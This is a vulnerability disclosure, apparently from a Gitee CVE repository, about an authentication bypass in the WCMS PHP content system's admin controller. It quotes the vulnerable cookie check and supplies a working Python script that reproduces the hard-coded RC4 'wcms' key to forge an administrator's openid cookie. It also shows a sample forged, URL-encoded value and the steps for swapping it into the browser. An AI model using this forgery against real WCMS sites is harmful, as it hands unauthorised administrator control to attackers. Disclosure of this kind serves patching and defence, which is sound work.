大灰狼/WCMS-Broken Access Control

Project address：https://gitee.com/wcms/WCMS
Question: There is an authentication bypass issue in this project.
Function point:
/index.php?articleadmin/getallcon

Administrator Privilege Check
```
<?php
/**
 * 权限管理
 * User: Administrator
 * Date: 2018/8/27
 * Time: 10:56
 */
class AdminController extends Action {

private $_user_global;

public function __construct()
    {

if (empty($_COOKIE['openid'])) {
           $this->redirect("请先登录!","/index.php?anonymous/login",true);
        }
        $customerSer = new EncryptService();

if(strpos($_COOKIE['openid'],"%")){
            $openid=urldecode($_REQUEST['opexnid']);
        }else{
            $openid=$_COOKIE['openid'];
        }

$str = $customerSer->jiemi($openid);
        preg_match("#wcms\#(\d+)\#wcms#", $str, $rs);

$memberSer = new MemberService();
        $this->_user_global = $memberSer->getMemberByUid($rs[1]);

if($this->_user_global['status']<0){
            $this->sendNotice("账号异常", null, false);
        }

if($this->_user_global['groupid']!=1){
            echo "权限不足,请等待管理员审核!";
            exit();
        }

$this->view()->assign('user',$this->_user_global);
    }

public function getUserInfo(){
        var_dump($this->_user_global);
    }

}
```
According to this chart, the combination method for openid is: jiami(wcms#+user's uid+#wcms). The encryption process of the jiami function has been analyzed, and it was found to use RC4 encryption, which is then base64 encoded.
![输入图片说明](https://foruda.gitee.com/images/1746793529119965768/19c630f2_15261419.png "屏幕截图")

According to the following diagram, it can be seen that the regular expression matches the user uid in the decrypted openid, puts the matched uid into $rs, and then queries the result set of this uid in the database through the getMemberByUid function. Finally, it verifies permissions based on the groupid in the result set.
![输入图片说明](https://foruda.gitee.com/images/1746793358803676418/0ed195e0_15261419.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1746795408094617310/55bc5fb9_15261419.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1746795425176367240/6c9e4e75_15261419.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1746795385148852355/72484d96_15261419.png "屏幕截图")
After analyzing this permission verification process, it is only necessary to know the uid of the admin account to spoof and bypass the authentication. The uid can be generated using a script for spoofing tests.

Encryption method（python）:

```
import hashlib
import base64
class EncryptService:
    def __init__(self):
        self._key = 'wcms'

def jiemi(self, code):
        return self._encrypt(code, 'D', self._key)

def jiami(self, id):
        return self._encrypt(str(id), 'E', self._key)

def _encrypt(self, string, operation, key):
        # 处理密钥
        key = hashlib.md5(key.encode('utf-8')).hexdigest()
        key_length = len(key)
        
        if operation == 'D':
            # Base64解码并处理填充
            code = string.encode('utf-8')
            code += b'=' * (-len(code) % 4)
            try:
                string = base64.b64decode(code)
            except:
                return ''
        else:
            # 生成MD5前缀
            pre = hashlib.md5((string + key).encode('utf-8')).hexdigest()[:8]
            string = pre + string
        
        # 转换为字节处理
        string_bytes = string.encode('latin1') if operation == 'E' else string
        
        # 初始化S盒
        box = list(range(256))
        rndkey = [ord(key[i % key_length]) for i in range(256)]
        
        # KSA阶段（密钥调度算法）
        j = 0
        for i in range(256):
            j = (j + box[i] + rndkey[i]) % 256
            box[i], box[j] = box[j], box[i]
        
        # PRGA阶段（伪随机生成算法）和异或处理
        a = j = 0
        result = bytearray()
        for byte in string_bytes:
            a = (a + 1) % 256
            j = (j + box[a]) % 256
            box[a], box[j] = box[j], box[a]
            k = box[(box[a] + box[j]) % 256]
            result.append(byte ^ k)
        
        if operation == 'D':
            # 验证并返回解密结果
            result_bytes = bytes(result)
            if len(result_bytes) < 8:
                return ''
            pre_check = result_bytes[:8].decode('latin1')
            data_part = result_bytes[8:].decode('latin1')
            # 计算校验值
            md5_input = (data_part + key).encode('latin1')
            md5_hash = hashlib.md5(md5_input).hexdigest()[:8]
            return data_part if pre_check == md5_hash else ''
        else:
            # 返回Base64编码结果（去除填充等号）
            return base64.b64encode(result).decode('utf-8').rstrip('=')
if __name__ == '__main__':
    es = EncryptService()
    encrypted = es.jiami('wcms#5005#wcms')  # 加密数字
    print(f"加密结果：{encrypted}")

decrypted = es.jiemi(encrypted)  # 解密数据
    print(f"解密结果：{decrypted} ({type(decrypted)})")
```
Operation result:
![输入图片说明](https://foruda.gitee.com/images/1746796208431701574/176788bc_15261419.png "屏幕截图")

TEXT:

![输入图片说明](https://foruda.gitee.com/images/1746796407093177991/e993ecda_15261419.png "屏幕截图")
Replace the cookie with a forged one.
Please note that there is URL decoding here, so the forged openid needs to be URL encoded.
![输入图片说明](https://foruda.gitee.com/images/1746796603863114757/3c23133f_15261419.png "屏幕截图")
The openid after URL encoding is VjTb4SxmEGJ+s563x6ulH0uTaQq49Q
![输入图片说明](https://foruda.gitee.com/images/1746796777589220486/d4b61304_15261419.png "屏幕截图")

nwtmd5/cve

内容风险标识

评论 (0)

nwtmd5/cve .gitee-modal { width: 500px !important; }

内容风险标识